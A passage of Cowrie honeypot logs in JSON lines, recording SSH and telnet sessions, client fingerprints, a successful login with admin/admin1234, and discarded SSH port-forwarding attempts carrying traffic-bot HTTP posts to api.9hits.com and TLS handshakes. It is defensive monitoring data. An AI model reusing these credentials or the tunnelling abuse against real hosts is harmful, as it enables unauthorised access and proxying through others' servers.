x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\\x12a*\\x8c\\xbaLw}\\xeb\\x81\\x99\\xa78^\\\\h\\x95\\xcb\\xf1\\xb9\\xcciW\\x9c\\xae,\\xbb\\xbdEXB 4\\r+\\x1c\\xb7>\\xd6\\xd9\\xea\\x81\\x17K\\x08*\\x0f`\\x8e\\xf0\\xd3V\\x05}\\n\\xf2P{\\\\\\x9c l\\x89n\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 xL\\xe1\"}\\xeb\\xfc\\xe8\\x03-\\xb5\\x07\\xdcs\\xd9\\xb3\\xd2*\\xd4\\x9f\\xcf\\xfdx\\xefS\\xdc\\x10&C`\\x9ej\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:03.687506Z","src_ip":"123.27.168.40","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:04.082574Z","src_ip":"123.27.168.40","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.87686276435852,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:13.921195Z","src_ip":"172.81.62.90","session":"4680c4a67f9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.924800872802734,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:17.900080Z","src_ip":"172.81.62.90","session":"3af33baace0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.570499420166016,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:32.127740Z","src_ip":"128.199.8.54","session":"139e696c64f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":56227,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c1c6a608227","protocol":"ssh","message":"New connection: 113.164.152.20:56227 (10.17.0.5:22) [session: 9c1c6a608227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:37.642503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:37.646518Z","src_ip":"113.164.152.20","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:37.953229Z","src_ip":"113.164.152.20","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:39.218977Z","src_ip":"113.164.152.20","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:39.677568Z","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:39.834553Z","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:40.980220Z","src_ip":"113.164.152.20","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1; TB2-X30F Build/LenovoTB2-X30F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YTxTZmY1WHFPUnVBfUN1Tw%3D%3DjJJ9TxEGzTGSATjhOxpb88OLnI6seQNiUvZZWvljc5F5hE1xvwPXYkQQm5SD7o4qq2jsvNGG1xpvUE3tUiCe9aKtpgur2JrCP9ZNlIGumi7MWC6HFQG%2F7j9DIygQzn2Oa8jmX2HbvVYDcMvyzJcctaEBSWG71NE8KPKrNwbh5E9JFTSJi41xkM%2FUj3Ga9XAWDbEWbAYB%2B8EKE%2BCtccaO0fyOS5UtNoZf1PjAzc1%2BR3NbumRSv1l%2ByYb%2ByheEwoWUPZYg7YXKoVzBrQzFF9cKGw1w3m6BpDajKTzur6xoRBmhzhPEsvFSf6H%2FznZ6keANFupn%2BDVRTZ3TbqW4XMXEn1SCBC9stjccSj66Mx25pRng7KQ1ZTpFl1eEzRRn5Bo1Pz3hj6KLJD1NwF7cpNVMYxJNxIOubu42m%2FhKKmVmvlC5kdn8ditTJBL%2FVmXfC0qyWlGh%2BvJh%2F%2F50NC6ZFMN7IQc8uUa5piil%2Fw11351cdlxXD5TiBsDz52vIfXPbckuBuMQPeaqqaS%2BMtYyJOmbZlbrhOPiXruEw0PayOjsVJ9%2BJI31k08ul58vds3goLHHlx66WRih3ggsAuwaivrFluFQOoyswjfqC2zkVsZhCTHKcgaLSa7WGf1uenEgiVRDSP16J%2BGq06UMCiC2DTQjT8hma5cHHnwtmRltNBMSlpjCC1osxVmojHSQNyUC%2BKVQ6FlOjVjyQvH4EdNYl3gNneXPk%2BJ3Y9fccZJurh6cGqD7ZfECGYPqbqa7wsaSbP6q%2BPUmd2iSJSZDPbyvpF1G4bvgquUgX7vno%2BGjdQrHZag0BvU20HsEjWfwvkT0yoyIredZ%2Fiw6dqn54XOeOVHJA9Z7374oQj3Mth170fS0n5Ie9Nkh%2B99TtdXv6jE1kqaPeraLRh6zxkjGnEfZFiGgy0anfdzr8JcVx4eiCjIk7G56WGFQD95QOXzu8ZzXmcLIfvoUOY10xN0yzGZjWJHi107q%2FNOsssRGj1Djm43aN9cMeH4Bak%2F2KkBB76RSDp6h18jnFKHfz5QUNEQAQ%2FrjXynQGmntIKYXpKzC4j6oOPdo%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1; TB2-X30F Build/LenovoTB2-X30F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YTxTZmY1WHFPUnVBfUN1Tw%3D%3DjJJ9TxEGzTGSATjhOxpb88OLnI6seQNiUvZZWvljc5F5hE1xvwPXYkQQm5SD7o4qq2jsvNGG1xpvUE3tUiCe9aKtpgur2JrCP9ZNlIGumi7MWC6HFQG%2F7j9DIygQzn2Oa8jmX2HbvVYDcMvyzJcctaEBSWG71NE8KPKrNwbh5E9JFTSJi41xkM%2FUj3Ga9XAWDbEWbAYB%2B8EKE%2BCtccaO0fyOS5UtNoZf1PjAzc1%2BR3NbumRSv1l%2ByYb%2ByheEwoWUPZYg7YXKoVzBrQzFF9cKGw1w3m6BpDajKTzur6xoRBmhzhPEsvFSf6H%2FznZ6keANFupn%2BDVRTZ3TbqW4XMXEn1SCBC9stjccSj66Mx25pRng7KQ1ZTpFl1eEzRRn5Bo1Pz3hj6KLJD1NwF7cpNVMYxJNxIOubu42m%2FhKKmVmvlC5kdn8ditTJBL%2FVmXfC0qyWlGh%2BvJh%2F%2F50NC6ZFMN7IQc8uUa5piil%2Fw11351cdlxXD5TiBsDz52vIfXPbckuBuMQPeaqqaS%2BMtYyJOmbZlbrhOPiXruEw0PayOjsVJ9%2BJI31k08ul58vds3goLHHlx66WRih3ggsAuwaivrFluFQOoyswjfqC2zkVsZhCTHKcgaLSa7WGf1uenEgiVRDSP16J%2BGq06UMCiC2DTQjT8hma5cHHnwtmRltNBMSlpjCC1osxVmojHSQNyUC%2BKVQ6FlOjVjyQvH4EdNYl3gNneXPk%2BJ3Y9fccZJurh6cGqD7ZfECGYPqbqa7wsaSbP6q%2BPUmd2iSJSZDPbyvpF1G4bvgquUgX7vno%2BGjdQrHZag0BvU20HsEjWfwvkT0yoyIredZ%2Fiw6dqn54XOeOVHJA9Z7374oQj3Mth170fS0n5Ie9Nkh%2B99TtdXv6jE1kqaPeraLRh6zxkjGnEfZFiGgy0anfdzr8JcVx4eiCjIk7G56WGFQD95QOXzu8ZzXmcLIfvoUOY10xN0yzGZjWJHi107q%2FNOsssRGj1Djm43aN9cMeH4Bak%2F2KkBB76RSDp6h18jnFKHfz5QUNEQAQ%2FrjXynQGmntIKYXpKzC4j6oOPdo%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:40.984197Z","src_ip":"113.164.152.20","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:40.992431Z","src_ip":"113.164.152.20","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9c\\xc9R:\\xbd=\\x00Q\\x96\\xebA\\xf01\\xba\\xb9\\x96\\x19c\\xcf\\x7f\\x82X#\\xff\\xd0\\x18/\\x97\\x18K\\x91\\x00 uR\\x94\\xbe\\xd2\\x15x\\xbeL\\xda\\xd7\\xfe\\xf6\\xe03\\xd2d\\x86\\x87\\n\\x87\\x80\\xc3c\\x9d)Zz\\xfbe#\\xc5\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd9\\x9b\\xfa|/\\xd9z\\xbbqqd\\xf4\\xc4\\x86m\\x94\\xef+\\x9ds\\xe0\\xf7\\xae\\xc2\\x82\\xcc\\x86\\xf8w\\xd2\\tI\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9c\\xc9R:\\xbd=\\x00Q\\x96\\xebA\\xf01\\xba\\xb9\\x96\\x19c\\xcf\\x7f\\x82X#\\xff\\xd0\\x18/\\x97\\x18K\\x91\\x00 uR\\x94\\xbe\\xd2\\x15x\\xbeL\\xda\\xd7\\xfe\\xf6\\xe03\\xd2d\\x86\\x87\\n\\x87\\x80\\xc3c\\x9d)Zz\\xfbe#\\xc5\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd9\\x9b\\xfa|/\\xd9z\\xbbqqd\\xf4\\xc4\\x86m\\x94\\xef+\\x9ds\\xe0\\xf7\\xae\\xc2\\x82\\xcc\\x86\\xf8w\\xd2\\tI\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:40.995209Z","src_ip":"113.164.152.20","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:41.276268Z","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:41.552419Z","src_ip":"113.164.152.20","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf\\xf1\\x0f\\x98\\xfa\\x86\\xe8J4\\x9bt\\x192z5\\x8a\\xe3\\xc3\\x93l\\xd0u\\x82\\xbc\\x1cr@Oymz\\xb9 \\x9bM\\x19tw\\xf4O\\xf9\\x80\\xde\\xdd\\x82<\\x9f\\xf7m\\xe7\\xcd\\x15H\\x95\\x15\\n\\x16A\\xbd\\xcff\\x9a\\x07L\\xd5\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5X~\\xbck\\x8a\\xb6\\xa8Qg\\xce\\x10\\xf6\\xd1^N,\\xf6\\xda2\\xa0>\\xe13\\x91sdrYvmE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf\\xf1\\x0f\\x98\\xfa\\x86\\xe8J4\\x9bt\\x192z5\\x8a\\xe3\\xc3\\x93l\\xd0u\\x82\\xbc\\x1cr@Oymz\\xb9 